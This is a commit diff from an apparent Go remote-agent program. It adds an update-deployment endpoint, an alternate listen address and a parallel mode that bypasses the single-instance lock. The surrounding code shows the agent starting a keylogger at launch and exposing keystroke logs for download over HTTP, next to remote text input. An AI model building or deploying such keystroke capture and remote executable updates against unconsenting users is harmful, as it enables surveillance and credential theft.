feat(update): add update deployment via web UI

- Deploy exe to alternate port 5033
- Current instance keeps running
- Add parallel mode and addr flag
- Add update panel to web UI
- Update OpenAPI spec and CLI
This commit is contained in:
2026-09-01 20:17:06 +03:00
parent 2318684e93
commit 1bba2c6b51
13 changed files with 338 additions and 16 deletions
+19 -6
View File
@@ -28,9 +28,19 @@ type Agent struct {
startedAt time.Time
}
func New() (*Agent, error) {
// Config controls agent startup. Zero values use environment defaults.
type Config struct {
ListenAddr string
Parallel bool
}
func New(cfg Config) (*Agent, error) {
addr := strings.TrimSpace(cfg.ListenAddr)
if addr == "" {
addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
}
a := &Agent{
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
addr: addr,
startedAt: time.Now(),
}
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
@@ -40,11 +50,13 @@ func New() (*Agent, error) {
}
a.root = resolved
}
guard, err := instance.Acquire()
if err != nil {
return nil, err
if !cfg.Parallel {
guard, err := instance.Acquire()
if err != nil {
return nil, err
}
a.guard = guard
}
a.guard = guard
input.EnableDPIAwareness()
if err := keylog.Start(); err != nil {
helpers.Log.Printf("keylog start: %v", err)
@@ -84,6 +96,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/input/text", a.handleText)
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
mux.HandleFunc("/api/v1/update", a.handleUpdate)
a.server = &http.Server{
Addr: a.addr,